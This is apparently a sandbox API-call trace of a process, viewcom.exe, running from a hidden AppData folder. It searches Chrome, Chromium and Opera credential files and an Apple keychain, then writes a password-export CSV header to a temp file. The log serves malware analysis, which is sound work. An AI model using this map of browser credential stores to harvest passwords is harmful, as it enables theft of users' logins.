[0083.618] wcscmp (_String1="WidevineCdm", _String2=".") returned 1
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x45
[0083.618] wcslen (_String="Web Data") returned 0x8
[0083.618] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x45
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\"
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data"
[0083.618] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x45
[0083.618] wcslen (_String="Login Data") returned 0xa
[0083.618] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
[0083.618] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x45
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\"
[0083.618] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data"
[0083.618] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\login data")) returned 0xffffffff
[0083.618] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 0
[0083.618] FindClose (in: hFindFile=0x191db0 | out: hFindFile=0x191db0) returned 1
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.619] wcslen (_String="Google\\Chrome SxS\\User Data") returned 0x1b
[0083.619] wcscpy (in: _Dest=0x12cd10, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.619] wcscat (in: _Dest=0x12cd10, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0083.619] wcscat (in: _Dest=0x12cd10, _Source="Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3d
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3d
[0083.619] wcslen (_String="*.*") returned 0x3
[0083.619] wcscpy (in: _Dest=0x12b2e4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3d
[0083.619] wcscat (in: _Dest=0x12b2e4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data\\"
[0083.619] wcscat (in: _Dest=0x12b2e4, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*"
[0083.619] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*", lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 0xffffffff
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.619] wcslen (_String="Chromium\\User Data") returned 0x12
[0083.619] wcscpy (in: _Dest=0x12cd10, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.619] wcscat (in: _Dest=0x12cd10, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0083.619] wcscat (in: _Dest=0x12cd10, _Source="Chromium\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data") returned 0x34
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data") returned 0x34
[0083.619] wcslen (_String="*.*") returned 0x3
[0083.619] wcscpy (in: _Dest=0x12b2e4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data"
[0083.619] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data") returned 0x34
[0083.619] wcscat (in: _Dest=0x12b2e4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data\\"
[0083.619] wcscat (in: _Dest=0x12b2e4, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data\\*.*"
[0083.619] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Chromium\\User Data\\*.*", lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 0xffffffff
[0083.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12bacc, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0083.620] wcslen (_String="Apple Computer\\Preferences\\keychain.plist") returned 0x29
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcscpy (in: _Dest=0x12cb00, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcscat (in: _Dest=0x12cb00, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.620] wcscat (in: _Dest=0x12cb00, _Source="Apple Computer\\Preferences\\keychain.plist" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist"
[0083.620] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\apple computer\\preferences\\keychain.plist")) returned 0xffffffff
[0083.620] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12cf20, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcslen (_String="Opera\\Opera\\wand.dat") returned 0x14
[0083.620] wcscpy (in: _Dest=0x12cd10, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcscat (in: _Dest=0x12cd10, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.620] wcscat (in: _Dest=0x12cd10, _Source="Opera\\Opera\\wand.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera\\wand.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera\\wand.dat"
[0083.620] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera\\wand.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\opera\\opera\\wand.dat")) returned 0xffffffff
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcslen (_String="Opera\\Opera7\\profile\\wand.dat") returned 0x1d
[0083.620] wcscpy (in: _Dest=0x12cd10, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcscat (in: _Dest=0x12cd10, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.620] wcscat (in: _Dest=0x12cd10, _Source="Opera\\Opera7\\profile\\wand.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat"
[0083.620] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\opera\\opera7\\profile\\wand.dat")) returned 0xffffffff
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.620] wcslen (_String="Opera") returned 0x5
[0083.620] wcscpy (in: _Dest=0x12c8f0, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.620] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.621] wcscat (in: _Dest=0x12c8f0, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.621] wcscat (in: _Dest=0x12c8f0, _Source="Opera" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera"
[0083.621] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera") returned 0x29
[0083.621] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera") returned 0x29
[0083.621] wcslen (_String="*.*") returned 0x3
[0083.621] wcscpy (in: _Dest=0x12bcf4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera"
[0083.621] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera") returned 0x29
[0083.621] wcscat (in: _Dest=0x12bcf4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\"
[0083.621] wcscat (in: _Dest=0x12bcf4, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\*.*"
[0083.621] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera\\*.*", lpFindFileData=0x12bf7c | out: lpFindFileData=0x12bf7c) returned 0xffffffff
[0083.621] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.621] wcslen (_String="Opera Software\\Opera Stable\\Login Data") returned 0x26
[0083.621] wcscpy (in: _Dest=0x12cb00, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.621] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.621] wcscat (in: _Dest=0x12cb00, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.621] wcscat (in: _Dest=0x12cb00, _Source="Opera Software\\Opera Stable\\Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
[0083.621] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\opera software\\opera stable\\login data")) returned 0xffffffff
[0083.621] FreeLibrary (hLibModule=0x723a0000) returned 1
[0083.622] FreeLibrary (hLibModule=0x76030000) returned 1
[0083.623] _wcsicmp (_String1="/nosort", _String2="/scomma") returned -5
[0083.623] _wcsicmp (_String1="/nosort", _String2="C:\\ProgramData\\9F1C.tmp") returned -52
[0083.623] qsort (in: _Base=0x0, _NumOfElements=0x0, _SizeOfElements=0x1028, _PtFuncCompare=0x40dbe1 | out: _Base=0x0)
[0083.623] SetCursor (hCursor=0x10007) returned 0x10007
[0083.623] CreateFileW (lpFileName="C:\\ProgramData\\9F1C.tmp" (normalized: "c:\\programdata\\9f1c.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdc
[0083.623] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
[0083.623] SetCursor (hCursor=0x10007) returned 0x10007
[0083.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="URL", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URL", lpUsedDefaultChar=0x0) returned 4
[0083.624] strlen (_Str="URL") returned 0x3
[0083.624] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x3, lpOverlapped=0x0) returned 1
[0083.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.625] strlen (_Str=",") returned 0x1
[0083.625] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Web Browser", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Web Browser", lpUsedDefaultChar=0x0) returned 12
[0083.625] strlen (_Str="Web Browser") returned 0xb
[0083.625] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0xb, lpOverlapped=0x0) returned 1
[0083.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.625] strlen (_Str=",") returned 0x1
[0083.625] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="User Name", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="User Name", lpUsedDefaultChar=0x0) returned 10
[0083.625] strlen (_Str="User Name") returned 0x9
[0083.625] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x9, lpOverlapped=0x0) returned 1
[0083.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.625] strlen (_Str=",") returned 0x1
[0083.625] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Password", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Password", lpUsedDefaultChar=0x0) returned 9
[0083.626] strlen (_Str="Password") returned 0x8
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x8, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.626] strlen (_Str=",") returned 0x1
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Password Strength", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Password Strength", lpUsedDefaultChar=0x0) returned 18
[0083.626] strlen (_Str="Password Strength") returned 0x11
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x11, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.626] strlen (_Str=",") returned 0x1
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="User Name Field", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="User Name Field", lpUsedDefaultChar=0x0) returned 16
[0083.626] strlen (_Str="User Name Field") returned 0xf
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0xf, lpOverlapped=0x0) returned 1
[0083.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.626] strlen (_Str=",") returned 0x1
[0083.626] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Password Field", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Password Field", lpUsedDefaultChar=0x0) returned 15
[0083.627] strlen (_Str="Password Field") returned 0xe
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0xe, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.627] strlen (_Str=",") returned 0x1
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Created Time", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Created Time", lpUsedDefaultChar=0x0) returned 13
[0083.627] strlen (_Str="Created Time") returned 0xc
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0xc, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=",", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",", lpUsedDefaultChar=0x0) returned 2
[0083.627] strlen (_Str=",") returned 0x1
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0x1, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Modified Time", cchWideChar=-1, lpMultiByteStr=0x12d748, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Modified Time", lpUsedDefaultChar=0x0) returned 14
[0083.627] strlen (_Str="Modified Time") returned 0xd
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d748*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x12f748, lpOverlapped=0x0 | out: lpBuffer=0x12d748*, lpNumberOfBytesWritten=0x12f748*=0xd, lpOverlapped=0x0) returned 1
[0083.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x12d74c, cbMultiByte=8191, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
[0083.627] strlen (_Str="\r\n") returned 0x2
[0083.627] WriteFile (in: hFile=0xdc, lpBuffer=0x12d74c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f74c, lpOverlapped=0x0 | out: lpBuffer=0x12d74c*, lpNumberOfBytesWritten=0x12f74c*=0x2, lpOverlapped=0x0) returned 1
[0083.627] CloseHandle (hObject=0xdc) returned 1
[0083.628] SetCursor (hCursor=0x10007) returned 0x10007
[0083.630] DeleteObject (ho=0x80a08d5) returned 1
[0083.630] exit (_Code=0)
Thread:
id = 84
os_tid = 0xc98
Process:
id = "10"
image_name = "viewcom.exe"
filename = "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"
page_root = "0x7f13e280"
os_pid = "0xc80"
